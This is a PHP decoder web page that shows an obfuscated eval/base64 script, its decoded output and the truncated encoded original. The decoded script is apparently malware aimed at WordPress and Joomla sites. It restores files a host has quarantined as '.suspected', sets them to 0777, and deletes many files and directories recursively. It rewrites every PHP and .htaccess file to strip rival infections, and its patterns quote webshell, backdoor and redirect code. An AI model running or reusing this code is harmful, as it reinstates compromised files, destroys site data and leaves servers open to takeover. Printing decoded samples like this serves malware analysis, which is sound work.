Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode("IC8vKioqKioqKioq6YeN5ZG95ZCN5Y+v55aR5paH5Lu2KioqKioqKioqKioqKg0..
Decoded Output download
//**********************
if (file_exists('index.php.suspected')) {
chmod('index.php.suspected', 0777);
rename('index.php.suspected','index.php');
}
if (file_exists('wp-activate.php.suspected')) {
chmod('wp-activate.php.suspected', 0777);
rename('wp-activate.php.suspected','wp-activate.php');
}
if (file_exists('wp-blog-header.php.suspected')) {
chmod('wp-blog-header.php.suspected', 0777);
rename('wp-blog-header.php.suspected','wp-blog-header.php');
}
if (file_exists('wp-comments-post.php.suspected')) {
chmod('wp-comments-post.php.suspected', 0777);
rename('wp-comments-post.php.suspected','wp-comments-post.php');
}
if (file_exists('wp-config-sample.php.suspected')) {
chmod('wp-config-sample.php.suspected', 0777);
rename('wp-config-sample.php.suspected','wp-config-sample.php');
}
if (file_exists('wp-config.php.suspected')) {
chmod('wp-config.php.suspected', 0777);
rename('wp-config.php.suspected','wp-config.php');
}
if (file_exists('wp-cron.php.suspected')) {
chmod('wp-cron.php.suspected', 0777);
rename('wp-cron.php.suspected','wp-cron.php');
}
if (file_exists('wp-links-opml.php.suspected')) {
chmod('wp-links-opml.php.suspected', 0777);
rename('wp-links-opml.php.suspected','wp-links-opml.php');
}
if (file_exists('wp-load.php.suspected')) {
chmod('wp-load.php.suspected', 0777);
rename('wp-load.php.suspected','wp-load.php');
}
if (file_exists('wp-login.php.suspected')) {
chmod('wp-login.php.suspected', 0777);
rename('wp-login.php.suspected','wp-login.php');
}
if (file_exists('wp-mail.php.suspected')) {
chmod('wp-mail.php.suspected', 0777);
rename('wp-mail.php.suspected','wp-mail.php');
}
if (file_exists('wp-settings.php.suspected')) {
chmod('wp-settings.php.suspected', 0777);
rename('wp-settings.php.suspected','wp-settings.php');
}
if (file_exists('wp-signup.php.suspected')) {
chmod('wp-signup.php.suspected', 0777);
rename('wp-signup.php.suspected','wp-signup.php');
}
if (file_exists('wp-trackback.php.suspected')) {
chmod('wp-trackback.php.suspected', 0777);
rename('wp-trackback.php.suspected','wp-trackback.php');
}
if (file_exists('xmlrpc.php.suspected')) {
chmod('xmlrpc.php.suspected', 0777);
rename('xmlrpc.php.suspected','xmlrpc.php');
}
if (file_exists('wp-pass.php.suspected')) {
chmod('wp-pass.php.suspected', 0777);
rename('wp-pass.php.suspected','wp-pass.php');
}
if (file_exists('wp-register.php.suspected')) {
chmod('wp-register.php.suspected', 0777);
rename('wp-register.php.suspected','wp-register.php');
}
if (file_exists('configuration.php.suspected')) {
chmod('configuration.php.suspected', 0777);
rename('configuration.php.suspected','configuration.php');
}
if (file_exists('license.php.suspected')) {
chmod('license.php.suspected', 0777);
rename('license.php.suspected','license.php');
}
if (file_exists('stats.php.suspected')) {
chmod('stats.php.suspected', 0777);
rename('stats.php.suspected','stats.php');
}
//
$DelDirs=array("save","shabs","par");
$DelFiles=array("docs","httpdocs","public_html","html","master.php","story.php","unsave.php","post.php","seek.php","alias.php","dump.php","index8.php","index9.php","press.php","backups.php","gks.php","1.php","utf.php","diff.php","phpinfo.php","bind9.php");
function rmdirs($path)
{
$op = dir($path);
while(false != ($item = $op->read()))
{
if($item == '.' || $item == '..')
{
continue;
}
if(is_dir($op->path.'/'.$item))
{
rmdirs($op->path.'/'.$item);
}else{
unlink($op->path.'/'.$item);
}
}
$op->close();
rmdir($path);
}
function DeleteByName($dir)
{
global $DelDirs,$DelFiles;
//echo $dir;
$reg = "/.*?[.]php|[.]htaccess/";
$files=scandir($dir);
foreach($files as $file)
{
$file2=$dir."/".$file;
if(is_file($file2))
{
if(in_array($file,$DelFiles))
{
unlink($file2);
}
}elseif(is_dir($file2) and $file!="." and $file!="..")
{
if(in_array($file,$DelDirs))
{
rmdirs($file2);
}else{
DeleteByName($file2);
}
}
}
}
DeleteByName(".");
//
function ReplaceDIR($dir)
{
$crufile=__FILE__;
$crufile=str_replace("\","/",$crufile);
$crufile=substr($crufile,strrpos($crufile,"/")+1);
//echo $crufile;
//echo $dir;
$reg = "/.*?[.]php|[.]htaccess/";
$files=scandir($dir);
foreach($files as $file)
{
$file2=$dir."/".$file;
if(preg_match($reg,$file) and !preg_match("/^test.*?$/",$file) && is_file($file2) && $file!=$crufile)
{
echo $file;
$ctt=file_get_contents($file2);
$ctt=preg_replace ('/\$hatfnec = stripslashes\(base64_decode.*?\$faqiczhlnrf;}/is',"",$ctt);
$ctt=preg_replace ('/function html\(\$data\).*?\)\)\);/is',"",$ctt);
$ctt=preg_replace ('/eval\(eval\(\".*?\"\)\);/is',"",$ctt);
$ctt=preg_replace ('/@error_reporting.*?\(\$light\);/is',"",$ctt);
$ctt=preg_replace ('/yumingid=.*?\?>/is',"",$ctt);
$ctt=preg_replace ('/preg_replace\(\"\/laterain\/e\".*?\?>/is',"",$ctt);
$ctt=preg_replace ('/if \(isset\(\$_COOKIE\[\"id\"\]\)\).*?\);\};/is',"",$ctt);
$ctt=preg_replace ('/if \(isset\(\$_COOKIE\["id"]\)\).*?\]\);/is',"",$ctt);
$ctt=preg_replace ('/if \( \$_REQUEST\["array"\] \).*?exit\(\);\s+\}/is',"",$ctt);
$ctt=preg_replace ('/\$bm_____s=base64_decode\(".*?"\) \?>/is',"",$ctt);
$ctt=preg_replace ('/\$GLOBALS\[\'_935420692_.*?_935420692_\'\]\[14\]\(\$_6\);}}/is',"",$ctt);
$ctt=preg_replace ('/\$GLOBALS\[.*?\);}}/is',"",$ctt);
$ctt=preg_replace ('/\$GLOBALS\[.*? return \${.*?\)};
}/is',"",$ctt);
$ctt=preg_replace ('/eval\(base64_decode\("aWYgKCFkZWZp.*?\x6cias\x2ephp\";/is',"",$ctt);
$ctt=preg_replace ('/<IfModule mod_rewrite.c>\s+RewriteEngine On\s+RewriteCond %{\HTTP_USER_AGENT\} \(google\|yahoo\|msn\|aol\|bing.*?RewriteRule [\^\.\*\$]+ index[.]php \[L\]\s+<\/IfModule>/is',"",$ctt);
$ctt=preg_replace ('/RewriteEngine On\s+RewriteCond %\{HTTP_ACCEPT\}.*?http:\/\/0-mi.com \[L,R=302\]/is',"",$ctt);
$ctt=preg_replace ('/RewriteEngine On\s+RewriteCond %\{HTTP_ACCEPT\}.*?http:\/\/seokirja.com \[L,R=302\]/is',"",$ctt);
$ctt=preg_replace ('/RewriteEngine On\s+RewriteCond %\{HTTP_ACCEPT\}.*? \[L,R=302\]/is',"",$ctt);
$ctt=preg_replace('/<?php \$code=base64_decode\("[^
]+\?>/is',"",$ctt);
$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp_dir\(\)[^
]*"\?><\?php/is',"",$ctt);
$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp.*?\?><\?php/is',"",$ctt);
$ctt=preg_replace ('/error_reporting\(0\);.*?\?>/is',"",$ctt);
$ctt=preg_replace('/<\?php if \(\$_FILES\[\'F1l3\'\]\) \{move_uploaded_file\(\$_FILES\[\'F1l3\'\]\[\'tmp_name\'\], \$_POST\[\'Name\'\]\); echo \'OK\'; \} else \{ echo \'You are forbidden!\'; \} \?>/is',"",$ctt);
$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp_dir\(\)[^
]*\?>/is',"",$ctt);
$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp_dir\(\)."\/SESS_48cd7517d21176f980daa5502d9efb31"\);/is',"",$ctt);
$ctt=preg_replace('/if \( \$_REQUEST\["array"\] \)[
]+\{ [
]+[
]+ @assert\(base64_decode\(\$_REQUEST\["array"\]\)\); [
]+ \/\/debug message[
]+ echo "Array sort completed";[
]+ exit\(\);[
]+\}/is',"",$ctt);
$ctt=preg_replace('/<\?php if \($_FILES\[\'F1l3\'\]\) \{move_uploaded_file\(\$_FILES\[\'F1l3\'\]\[\'tmp_name\'\], \$_POST\[\'Name\'\]\); echo \'OK\'; \} else \{ echo \'You are forbidden!\'; \} \?>/is',"",$ctt);
$ctt=preg_replace('/<\?php if \(\$_REQUEST\[\'param1\'\]&&\$_REQUEST\[\'param2\'\]\) {\$f = \$_REQUEST\[\'param1\'\]; \$p[^
]*\?>/is',"",$ctt);
$ctt=preg_replace('/RewriteRule \^\(\[A-Za-z0-9-\]\+\)[.]html\$ story[.]php\?hl=\$1 \[L\]/is',"",$ctt);
$ctt=preg_replace('/RewriteRule \^\(\[A-Za-z0-9-\]\+\)[.]html\$ master[.]php\?hl=\$1 \[L\]/is',"",$ctt);
$ctt=preg_replace('/RewriteRule \^\(\[A-Za-z0-9-\]\+\)[.]html\$ .*?\?hl=\$1 \[L\]/is',"",$ctt);
//echo $ctt;
file_put_contents($file2 ,$ctt);
}elseif(is_dir($file2) and $file!="." and $file!="..")
{
ReplaceDIR($file2);
}
}
}
ReplaceDIR(".");
//
$reg1 = "/[^0-9]*[0-9]+[^0-9]*[.]php/";
$files=scandir(".");
foreach($files as $file)
{
if(preg_match($reg1,$file))
unlink($file);
}
//
$dir_path = dirname(__FILE__);
$rm_list = array();
$regs = '/^(?![0-9]+$)(?![a-zA-Z]+$)[0-9A-Za-z]{4,16}$/';
if(is_empty_dir($dir_path))
{
exit('<font color="blue">!!!</font>');
}
ls_dir($dir_path);
function ls_dir($dir_path)
{
global $regs,$rm_list;
$dir = opendir($dir_path);
while ( $filename = readdir ($dir) ) {
if ($filename != '.' && $filename != '..') {
$full_path = $dir_path.DIRECTORY_SEPARATOR.$filename;
if(is_dir($full_path) && preg_match($regs, $filename))
{
ls_dir($full_path);
$rm_list[] = $dir_path . DIRECTORY_SEPARATOR . $filename;
}
}
}
}
if(empty($rm_list))
{
exit('<font color="blue">!!!</font>');
}
foreach ($rm_list as $dir_val)
{
deltree($dir_val);
if (rmdir ($dir_val)) {
echo '' . $dir_val . '---<font color="blue">!!!</font><br>';
} else {
echo '' . $dir_val . '---<font color="red">!!!</font><br>';
}
}
function deltree($pathdir) {
if (is_empty_dir ( $pathdir ))
{
rmdir ( $pathdir );
} else {
$d = opendir ( $pathdir );
while ( $a = readdir ($d) ) {
if (is_file ( $pathdir . DIRECTORY_SEPARATOR . $a ) && ($a != '.') && ($a != '..')) {
if(unlink ( $pathdir . DIRECTORY_SEPARATOR . $a ))
{
echo ''.$pathdir . DIRECTORY_SEPARATOR . $a.'---<font color="blue">!!!</font><br>';
}else
{
echo ''.$pathdir . DIRECTORY_SEPARATOR . $a.'---<font color="red">!!!</font><br>';
}
}else if (is_dir ( $pathdir . DIRECTORY_SEPARATOR . $a ) && ($a != '.') && ($a != '..')) {
if (! is_empty_dir ( $pathdir . DIRECTORY_SEPARATOR . $a ))
{
deltree ( $pathdir . DIRECTORY_SEPARATOR . $a );
}
if(rmdir ( $pathdir . DIRECTORY_SEPARATOR . $a ))
{
echo ''.$pathdir . DIRECTORY_SEPARATOR . $a.'---<font color="blue">!!!</font><br>';
}else
{
echo ''.$pathdir . DIRECTORY_SEPARATOR . $a.'---<font color="red">!!!</font><br>';
}
}
}
closedir($d);
}
}
function is_empty_dir($pathdir) {
$d = opendir ( $pathdir );
$i = 0;
while ( $a = readdir ( $d ) ) {
$i ++;
}
closedir ( $d );
if ($i > 2) {
return false;
} else
return true;
}
exit;
Did this file decode correctly?
Original Code
<?php
eval(base64_decode("IC8vKioqKioqKioq6YeN5ZG95ZCN5Y+v55aR5paH5Lu2KioqKioqKioqKioqKg0KaWYgKGZpbGVfZXhpc3RzKCdpbmRleC5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCdpbmRleC5waHAuc3VzcGVjdGVkJywgMDc3Nyk7DQogICAgcmVuYW1lKCdpbmRleC5waHAuc3VzcGVjdGVkJywna
W5kZXgucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnd3AtYWN0aXZhdGUucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnd3AtYWN0aXZhdGUucGhwLnN1c3BlY3RlZCcsIDA3NzcpOw0KICAgIHJlbmFtZSgnd3AtYWN0aXZhdGUucGhwLnN1c3BlY3RlZCcsJ3dwLWFjdGl2YXRlLnBocCcpOw0KfQ0KDQppZi
AoZmlsZV9leGlzdHMoJ3dwLWJsb2ctaGVhZGVyLnBocC5zdXNwZWN0ZWQnKSkgew0KY2htb2QoJ3dwLWJsb2ctaGVhZGVyLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ3dwLWJsb2ctaGVhZGVyLnBocC5zdXNwZWN0ZWQnLCd3cC1ibG9nLWhlYWRlci5waHAnKTsNCn0NCg0KDQppZiAoZmlsZV9
leGlzdHMoJ3dwLWNvbW1lbnRzLXBvc3QucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnd3AtY29tbWVudHMtcG9zdC5waHAuc3VzcGVjdGVkJywgMDc3Nyk7DQogICAgcmVuYW1lKCd3cC1jb21tZW50cy1wb3N0LnBocC5zdXNwZWN0ZWQnLCd3cC1jb21tZW50cy1wb3N0LnBocCcpOw0KfQ0KDQppZiAoZmlsZV9leGlzdHMoJ3dwLWNvbmZpZy1zYW1wbGUucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnd3AtY29uZmlnLXNhbXBsZS5waHAuc3VzcGVjdGVkJywgMDc3Nyk7DQogICAgcmVuYW1lKCd3cC1jb25maWctc2FtcGxlLnBocC5zdXNwZWN0ZWQnLCd3cC1jb25maWctc2FtcGxlLnBocCcpOw0KfQ0KDQppZiAoZmlsZV9leGlzdHMoJ3dwLWNvbmZpZy5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCd3cC1jb25maWcucGhwLnN1c3BlY3RlZCcsIDA3NzcpOw0KICAgIHJlbmFtZSgnd3AtY29uZmlnLnBocC5zdXNwZWN0ZWQnLCd3cC1jb25maWcucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnd3AtY3Jvbi5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCd3cC1jcm9uLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ3dwLWNyb24ucGhwLnN1c3BlY3RlZCcsJ3dwLWNyb24ucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnd3AtbGlua3Mtb3BtbC5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCd3cC1saW5rcy1vcG1sLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ3dwLWxpbmtzLW9wbWwucGhwLnN1c3BlY3RlZCcsJ3dwLWxpbmtzLW9wbWwucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnd3AtbG9hZC5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCd3cC1sb2FkLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ3dwLWxvYWQucGhwLnN1c3BlY3RlZCcsJ3dwLWxvYWQucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnd3AtbG9naW4ucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnd3AtbG9naW4ucGhwLnN1c3BlY3RlZCcsIDA3NzcpOw0KICAgIHJlbmFtZSgnd3AtbG9naW4ucGhwLnN1c3BlY3RlZCcsJ3dwLWxvZ2luLnBocCcpOw0KfQ0KDQppZiAoZmlsZV9leGlzdHMoJ3dwLW1haWwucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnd3AtbWFpbC5waHAuc3VzcGVjdGVkJywgMDc3Nyk7DQogICAgcmVuYW1lKCd3cC1tYWlsLnBocC5zdXNwZWN0ZWQnLCd3cC1tYWlsLnBocCcpOw0KfQ0KDQppZiAoZmlsZV9leGlzdHMoJ3dwLXNldHRpbmdzLnBocC5zdXNwZWN0ZWQnKSkgew0KY2htb2QoJ3dwLXNldHRpbmdzLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ3dwLXNldHRpbmdzLnBocC5zdXNwZWN0ZWQnLCd3cC1zZXR0aW5ncy5waHAnKTsNCn0NCg0KaWYgKGZpbGVfZXhpc3RzKCd3cC1zaWdudXAucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnd3Atc2lnbnVwLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ3dwLXNpZ251cC5waHAuc3VzcGVjdGVkJywnd3Atc2lnbnVwLnBocCcpOw0KfQ0KDQppZiAoZmlsZV9leGlzdHMoJ3dwLXRyYWNrYmFjay5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCd3cC10cmFja2JhY2sucGhwLnN1c3BlY3RlZCcsIDA3NzcpOw0KICAgIHJlbmFtZSgnd3AtdHJhY2tiYWNrLnBocC5zdXNwZWN0ZWQnLCd3cC10cmFja2JhY2sucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygneG1scnBjLnBocC5zdXNwZWN0ZWQnKSkgew0KY2htb2QoJ3htbHJwYy5waHAuc3VzcGVjdGVkJywgMDc3Nyk7DQogICAgcmVuYW1lKCd4bWxycGMucGhwLnN1c3BlY3RlZCcsJ3htbHJwYy5waHAnKTsNCn0NCg0KaWYgKGZpbGVfZXhpc3RzKCd3cC1wYXNzLnBocC5zdXNwZWN0ZWQnKSkgew0KY2htb2QoJ3dwLXBhc3MucGhwLnN1c3BlY3RlZCcsIDA3NzcpOw0KICAgIHJlbmFtZSgnd3AtcGFzcy5waHAuc3VzcGVjdGVkJywnd3AtcGFzcy5waHAnKTsNCn0NCg0KaWYgKGZpbGVfZXhpc3RzKCd3cC1yZWdpc3Rlci5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCd3cC1yZWdpc3Rlci5waHAuc3VzcGVjdGVkJywgMDc3Nyk7DQogICAgcmVuYW1lKCd3cC1yZWdpc3Rlci5waHAuc3VzcGVjdGVkJywnd3AtcmVnaXN0ZXIucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnY29uZmlndXJhdGlvbi5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCdjb25maWd1cmF0aW9uLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ2NvbmZpZ3VyYXRpb24ucGhwLnN1c3BlY3RlZCcsJ2NvbmZpZ3VyYXRpb24ucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnbGljZW5zZS5waHAuc3VzcGVjdGVkJykpIHsNCmNobW9kKCdsaWNlbnNlLnBocC5zdXNwZWN0ZWQnLCAwNzc3KTsNCiAgICByZW5hbWUoJ2xpY2Vuc2UucGhwLnN1c3BlY3RlZCcsJ2xpY2Vuc2UucGhwJyk7DQp9DQoNCmlmIChmaWxlX2V4aXN0cygnc3RhdHMucGhwLnN1c3BlY3RlZCcpKSB7DQpjaG1vZCgnc3RhdHMucGhwLnN1c3BlY3RlZCcsIDA3NzcpOw0KICAgIHJlbmFtZSgnc3RhdHMucGhwLnN1c3BlY3RlZCcsJ3N0YXRzLnBocCcpOw0KfQ0KDQogDQogDQogLy/liKDpmaQNCiAkRGVsRGlycz1hcnJheSgic2F2ZSIsInNoYWJzIiwicGFyIik7DQogJERlbEZpbGVzPWFycmF5KCJkb2NzIiwiaHR0cGRvY3MiLCJwdWJsaWNfaHRtbCIsImh0bWwiLCJtYXN0ZXIucGhwIiwic3RvcnkucGhwIiwidW5zYXZlLnBocCIsInBvc3QucGhwIiwic2Vlay5waHAiLCJhbGlhcy5waHAiLCJkdW1wLnBocCIsImluZGV4OC5waHAiLCJpbmRleDkucGhwIiwicHJlc3MucGhwIiwiYmFja3Vwcy5waHAiLCJna3MucGhwIiwiMS5waHAiLCJ1dGYucGhwIiwiZGlmZi5waHAiLCJwaHBpbmZvLnBocCIsImJpbmQ5LnBocCIpOw0KIA0KIA0KZnVuY3Rpb24gcm1kaXJzKCRwYXRoKQ0Kew0KCSRvcCA9IGRpcigkcGF0aCk7DQoJd2hpbGUoZmFsc2UgIT0gKCRpdGVtID0gJG9wLT5yZWFkKCkpKQ0KCXsNCgkJaWYoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpDQoJCXsNCgkJCWNvbnRpbnVlOw0KCQl9DQoJCWlmKGlzX2Rpcigkb3AtPnBhdGguJy8nLiRpdGVtKSkgDQoJCXsNCgkJCXJtZGlycygkb3AtPnBhdGguJy8nLiRpdGVtKTsNCgkJfWVsc2V7DQoJCQl1bmxpbmsoJG9wLT5wYXRoLicvJy4kaXRlbSk7DQoJCX0NCgl9DQoJJG9wLT5jbG9zZSgpOw0KCXJtZGlyKCRwYXRoKTsNCn0NCg0KDQpmdW5jdGlvbiBEZWxldGVCeU5hbWUoJGRpcikNCnsNCglnbG9iYWwgJERlbERpcnMsJERlbEZpbGVzOw0KCS8vZWNobyAkZGlyOw0KCSRyZWcgPSAiLy4qP1suXXBocHxbLl1odGFjY2Vzcy8iOw0KCSRmaWxlcz1zY2FuZGlyKCRkaXIpOyANCglmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgl7DQoJCSRmaWxlMj0kZGlyLiIvIi4kZmlsZTsNCgkJaWYoaXNfZmlsZSgkZmlsZTIpKQ0KCQl7DQoJCQlpZihpbl9hcnJheSgkZmlsZSwkRGVsRmlsZXMpKQ0KCQkJew0KCQkJCXVubGluaygkZmlsZTIpOw0KCQkJfQ0KCQl9ZWxzZWlmKGlzX2RpcigkZmlsZTIpIGFuZCAkZmlsZSE9Ii4iIGFuZCAkZmlsZSE9Ii4uIikNCgkJew0KCQkJaWYoaW5fYXJyYXkoJGZpbGUsJERlbERpcnMpKQ0KCQkJew0KCQkJCXJtZGlycygkZmlsZTIpOw0KCQkJfWVsc2V7DQoJCQkJRGVsZXRlQnlOYW1lKCRmaWxlMik7DQoJCQl9DQoJCX0NCgl9DQp9DQoNCg0KRGVsZXRlQnlOYW1lKCIuIik7DQoNCg0KDQoNCg0KDQovLw0KZnVuY3Rpb24gUmVwbGFjZURJUigkZGlyKQ0Kew0KCSRjcnVmaWxlPV9fRklMRV9fOw0KCSRjcnVmaWxlPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRjcnVmaWxlKTsNCgkkY3J1ZmlsZT1zdWJzdHIoJGNydWZpbGUsc3RycnBvcygkY3J1ZmlsZSwiLyIpKzEpOw0KCS8vZWNobyAkY3J1ZmlsZTsNCgkNCgkvL2VjaG8gJGRpcjsNCgkkcmVnID0gIi8uKj9bLl1waHB8Wy5daHRhY2Nlc3MvIjsNCgkkZmlsZXM9c2NhbmRpcigkZGlyKTsgDQoJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpDQoJew0KCQkkZmlsZTI9JGRpci4iLyIuJGZpbGU7DQoJCQ0KCQlpZihwcmVnX21hdGNoKCRyZWcsJGZpbGUpIGFuZCAhcHJlZ19tYXRjaCgiL150ZXN0Lio/JC8iLCRmaWxlKSAmJiBpc19maWxlKCRmaWxlMikgJiYgJGZpbGUhPSRjcnVmaWxlKQ0KCQl7IA0KCQkJZWNobyAkZmlsZTsNCgkJCSRjdHQ9ZmlsZV9nZXRfY29udGVudHMoJGZpbGUyKTsNCgkJCQ0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvXFwkaGF0Zm5lYyA9IHN0cmlwc2xhc2hlc1xcKGJhc2U2NF9kZWNvZGUuKj9cXCRmYXFpY3pobG5yZjt9L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL2Z1bmN0aW9uIGh0bWxcXChcXCRkYXRhXFwpLio/XFwpXFwpXFwpOy9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9ldmFsXFwoZXZhbFxcKFxcIi4qP1xcIlxcKVxcKTsvaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvQGVycm9yX3JlcG9ydGluZy4qP1xcKFxcJGxpZ2h0XFwpOy9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy95dW1pbmdpZD0uKj9cXD8+L2lzJywiIiwkY3R0KTsNCgkJCQ0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvcHJlZ19yZXBsYWNlXFwoXFwiXFwvbGF0ZXJhaW5cXC9lXFwiLio/XFw/Pi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9pZiBcXChpc3NldFxcKFxcJF9DT09LSUVcXFtcXCJpZFxcIlxcXVxcKVxcKS4qP1xcKTtcXH07L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL2lmIFxcKGlzc2V0XFwoXFwkX0NPT0tJRVxcWyJpZCJdXFwpXFwpLio/XFxdXFwpOy9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9pZiBcXCggXFwkX1JFUVVFU1RcXFsiYXJyYXkiXFxdIFxcKS4qP2V4aXRcXChcXCk7XHMrXFx9L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL1xcJGJtX19fX19zPWJhc2U2NF9kZWNvZGVcXCgiLio/IlxcKSBcXD8+L2lzJywiIiwkY3R0KTsNCgkJCQ0KCQkJDQoJCQkNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL1xcJEdMT0JBTFNcXFtcJ185MzU0MjA2OTJfLio/XzkzNTQyMDY5Ml9cJ1xcXVxcWzE0XFxdXFwoXFwkXzZcXCk7fX0vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvXFwkR0xPQkFMU1xcWy4qP1xcKTt9fS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9cXCRHTE9CQUxTXFxbLio/IHJldHVybiBcXCR7Lio/XFwpfTtcclxufS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9ldmFsXFwoYmFzZTY0X2RlY29kZVxcKCJhV1lnS0NGa1pXWnAuKj9cXFxceDZjaWFzXFxcXHgyZXBocFwiOy9pcycsIiIsJGN0dCk7DQoJCQkNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnLzxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPlxccytSZXdyaXRlRW5naW5lIE9uXFxzK1Jld3JpdGVDb25kICV7XFxIVFRQX1VTRVJfQUdFTlRcXH0gXFwoZ29vZ2xlXFx8eWFob29cXHxtc25cXHxhb2xcXHxiaW5nLio/UmV3cml0ZVJ1bGUgW1xcXlxcLlxcKlxcJF0rIGluZGV4Wy5dcGhwIFxcW0xcXF1ccys8XC9JZk1vZHVsZT4vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvUmV3cml0ZUVuZ2luZSBPblxccytSZXdyaXRlQ29uZCAlXHtIVFRQX0FDQ0VQVFx9Lio/aHR0cDpcL1wvMC1taS5jb20gXFxbTCxSPTMwMlxcXS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9SZXdyaXRlRW5naW5lIE9uXFxzK1Jld3JpdGVDb25kICVce0hUVFBfQUNDRVBUXH0uKj9odHRwOlwvXC9zZW9raXJqYS5jb20gXFxbTCxSPTMwMlxcXS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9SZXdyaXRlRW5naW5lIE9uXFxzK1Jld3JpdGVDb25kICVce0hUVFBfQUNDRVBUXH0uKj8gXFxbTCxSPTMwMlxcXS9pcycsIiIsJGN0dCk7DQoJCQkNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvPD9waHAgXFwkY29kZT1iYXNlNjRfZGVjb2RlXFwoIlteXFxyXFxuXStcXD8+L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvZXJyb3JfcmVwb3J0aW5nXFwoMFxcKTtpbmlfc2V0XFwoImRpc3BsYXlfZXJyb3JzIiwgMFxcKTtpbmNsdWRlX29uY2VcXChzeXNfZ2V0X3RlbXBfZGlyXFwoXFwpW15cXHJcXG5dKiJcXD8+PFxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2Vycm9yX3JlcG9ydGluZ1xcKDBcXCk7aW5pX3NldFxcKCJkaXNwbGF5X2Vycm9ycyIsIDBcXCk7aW5jbHVkZV9vbmNlXFwoc3lzX2dldF90ZW1wLio/XFw/PjxcXD9waHAvaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvZXJyb3JfcmVwb3J0aW5nXFwoMFxcKTsuKj9cXD8+L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvPFxcP3BocCBpZiBcXChcXCRfRklMRVNcXFtcJ0YxbDNcJ1xcXVxcKSBce21vdmVfdXBsb2FkZWRfZmlsZVxcKFxcJF9GSUxFU1xcW1wnRjFsM1wnXFxdXFxbXCd0bXBfbmFtZVwnXFxdLCBcXCRfUE9TVFxcW1wnTmFtZVwnXFxdXFwpOyBlY2hvIFwnT0tcJzsgXFx9IGVsc2UgXFx7IGVjaG8gXCdZb3UgYXJlIGZvcmJpZGRlbiFcJzsgXFx9IFxcPz4vaXMnLCIiLCRjdH